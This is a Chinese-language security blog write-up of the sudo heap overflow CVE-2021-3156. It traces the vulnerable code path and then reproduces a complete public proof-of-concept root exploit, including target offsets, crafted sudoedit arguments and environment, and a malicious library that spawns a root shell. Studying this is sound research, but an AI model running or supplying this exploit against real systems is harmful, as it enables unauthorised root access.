这是本人入门Linux内核的第二个星期,上一篇dirty-pipe分析已经在先知社区投稿了。本着积累多点bypass手段的想法,开始了这个sudo堆溢出学习。
https://github.com/blasty/CVE-2021-3156
ubuntu 18.04 sudo-1.8.25(环境搭建) sudo-1.8.21(静态分析用)
进入root
sudo su
搭建pwndbg 编译sudo
make
make install
这样编译出来的sudo是存在symbol
的
sudo: 1.8.2 - 1.8.31p2 sudo: 1.9.0 - 1.9.5p1
如果响应一个以sudoedit:
开头的报错,那么表明存在漏洞。
触发堆溢出:
sudoedit -s '' 1111111111111111
sudo.c:134 ==> main
sudo.c:247 ==> policy_check
sudo.c:1149 ==> sudoers_policy_check
policy.c:775 ==> sudoers_policy_main
sudoers.c:293 ==> set_cmnd
sudoers.c:853 ==> 溢出位置
参数:注意几个参数:
mode flags
mode
NewArgv = sudoedit \ 1111111111111111
parse_args.c
:parse_args
是sudo
用于处理传入参数的函数。
配置了mode = MODE_EDIT == 0x2
配置flags = MODE_SHELL == 0x20000
由于mode == MODE_EDIT
所以跳转到 577行
配置:
*argv[0] == 's' 后续为:udoedit
*argv[1] == '\'
*argv[2] == '1' 后续为:111111111111111
131072 == 0x20000 == MODE_SHELL
如图可以证实静态分析上对argv的修改。
sudo.c
:sudo_mode
执行完parse_args
被设置为:0x20002
根据转换触发到case MODE_EDIT
然后在MODE_RUN
内部执行policy_check
131074 == 0x20002
sudoers_policy_check
:此时argc == 3
然后调用sudoers_policy_main
sudoers_policy_main
:
在270行配置 (int) NewArgc == 3
在271行固定了 \
后的长度最多为2个指针 == 16 字节
在276行将 *NewArgv == 'sudoedit' '\' '111...' 'NULL'
sudoers_policy_main
将在293行调用到set_cmnd
set_cmnd
:由于之前没有给user_cmnd
赋值,所以在812行将NewArgv
指向sudoedit
的指针赋值到user_cmnd
这里没搞懂是怎么ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)
判断正确的
在849行中将申请的内存空间大小为
0x13 == '\1111111111111111 '
在853行中会判断正确后进入到溢出点第863行 在861行即为存在溢出的点,由于isspace()
识别的是'20'
,所以'�'
被bypass了,进而达成溢出条件。
注意:传入2个参数后最多能溢出16字节。user_args
堆空间地址只要看在859行下断点看to
指定地址就能获取到。
当前内存:
'\' + '�' + '1111111111111111'
当前NewArgv + 1 == '\' + '�'
,那么执行到if
判断时,就会from++
进而将*from
指向了'1111111111111111'
,继而调用了*to++ = *from++
将'1111111111111111'
复制到了user_args
堆空间。而这已经将user_args
堆空间占满了,但是在for
循环上却仍然可以继续将'1111111111111111'
复制到user_args
堆空间后面的空间,在调用下一次for
循环是NewArgv + 1 == '1111111111111111'
,而在while
上from[0] != '\'
进而导致直接调用*to++ = *from++
将'1111111111111111'
复制到溢出空间,进而造成堆溢出。
正常的user_args
堆空间:
发生溢出后的user_args
堆空间:
下面是EXP解析:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>// 512 environment variables should be enough for everyone
#define MAX_ENVP 512
#define SUDOEDIT_PATH "/usr/bin/sudoedit"
typedef struct {
char *target_name;
char *sudoedit_path;
uint32_t smash_len_a;
uint32_t smash_len_b;
uint32_t null_stomp_len;
uint32_t lc_all_len;
} target_t;
target_t targets[] = {
{
// Yes, same values as 20.04.1, but also confirmed.
.target_name = "Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27",
.sudoedit_path = SUDOEDIT_PATH,
.smash_len_a = 56,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 212
},
{
.target_name = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
.sudoedit_path = SUDOEDIT_PATH,
.smash_len_a = 56,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 212
},
{
.target_name = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28",
.sudoedit_path = SUDOEDIT_PATH,
.smash_len_a = 64,
.smash_len_b = 49,
.null_stomp_len = 60,
.lc_all_len = 214
}
};
void usage(char *prog) {
fprintf(stdout,
" usage: %s <target>nn"
" available targets:n"
" ------------------------------------------------------------n",
prog
);
for(int i = 0; i < sizeof(targets) / sizeof(target_t); i++) {
printf(" %d) %sn", i, targets[i].target_name);
}
fprintf(stdout,
" ------------------------------------------------------------n"
"n"
" manual mode:n"
" %s <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>n"
"n",
prog
);
}
int main(int argc, char *argv[]) {
printf("n** CVE-2021-3156 PoC by blasty <[email protected]>nn");
if (argc != 2 && argc != 5) {
usage(argv[0]);
return -1;
}
target_t *target = NULL;
if (argc == 2) {
int target_idx = atoi(argv[1]);
if (target_idx < 0 || target_idx >= (sizeof(targets) / sizeof(target_t))) {
fprintf(stderr, "invalid target indexn");
return -1;
}
target = &targets[ target_idx ];
} else {
target = malloc(sizeof(target_t));
target->target_name = "Manual";
target->sudoedit_path = SUDOEDIT_PATH; // "/usr/bin/sudoedit"
target->smash_len_a = atoi(argv[1]);
target->smash_len_b = atoi(argv[2]);
target->null_stomp_len = atoi(argv[3]);
target->lc_all_len = atoi(argv[4]);
}
printf(
"using target: %s ['%s'] (%d, %d, %d, %d)n",
target->target_name,
target->sudoedit_path,
target->smash_len_a,
target->smash_len_b,
target->null_stomp_len,
target->lc_all_len
);
char *smash_a = calloc(target->smash_len_a + 2, 1); //这里填充多2个字节
char *smash_b = calloc(target->smash_len_b + 2, 1); //这里填充多2个字节
memset(smash_a, 'A', target->smash_len_a); //填充A
memset(smash_b, 'B', target->smash_len_b); //填充B
smash_a[target->smash_len_a] = '\';
smash_b[target->smash_len_b] = '\';
char *s_argv[]={
"sudoedit", "-s", smash_a, "\", smash_b, NULL
};
/** 56 * A + '\' + '�' + '�' + '\' + '�' + 54 * B + '\' + '�'
** 生成113个字节空间
**/
char *s_envp[MAX_ENVP];
int envp_pos = 0;
for(int i = 0; i < target->null_stomp_len; i++) {
s_envp[envp_pos++] = "\"; //写入63个\
}
s_envp[envp_pos++] = "X/P0P_SH3LLZ_";
char *lc_all = calloc(target->lc_all_len + 16, 1); //212
strcpy(lc_all, "[email protected]");
memset(lc_all+15, 'C', target->lc_all_len);
s_envp[envp_pos++] = lc_all;
s_envp[envp_pos++] = NULL;
printf("** pray for your rootshell.. **n");
execve(target->sudoedit_path, s_argv, s_envp); //触发提权
return 0;
}//*s_envp == 63个\+"X/P0P_SH3LLZ_"+lc_all指针+NULL
//*lc_all == "[email protected]" + 197个"C"
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>static void __attribute__ ((constructor)) _init(void);
static void _init(void) {
printf("[+] bl1ng bl1ng! We got it!n");
#ifndef BRUTE
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execv("/bin/sh", a_argv);
#endif
}
利用setlocale
将我们exp
中calloc
的LC_ALL
堆块free
掉,然后在程序执行时调用get_user_info
申请0x80
堆块时会将user_args
堆块申请在相邻ni->name = compat
的service_user
相邻位置。然后user_args
堆块与ni->name = compat
的service_user
堆块位置就相对固定,进而达成100%溢出的条件来将原始service_table
链表中的compat
块中的ni ->name
给覆盖掉,进而执行__libc_dlopen
时调用到我们伪造的libc,然后调用libc中的初始化函数init来高权限调用setuid(0); seteuid(0); setgid(0); setegid(0);
和execv("/bin/sh", a_argv);
来提权root。关于实现细节就不方便讲解了。下面是溢出执行我们的libc的参数详情:
CVE-2021-3156调试分析 CVE-2021-3156 sudo堆溢出分析与利用 cve-2021-3156分析 Sudo Exploit Writeup Heap-based buffer overflow in Sudo (CVE-2021-3156) util-linux mount/unmount ASLR bypass via environment variable CVE-2021-3156 sudo heap-based bufoverflow 复现&分析
end
本文作者:ChaMd5安全团队
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/175317.html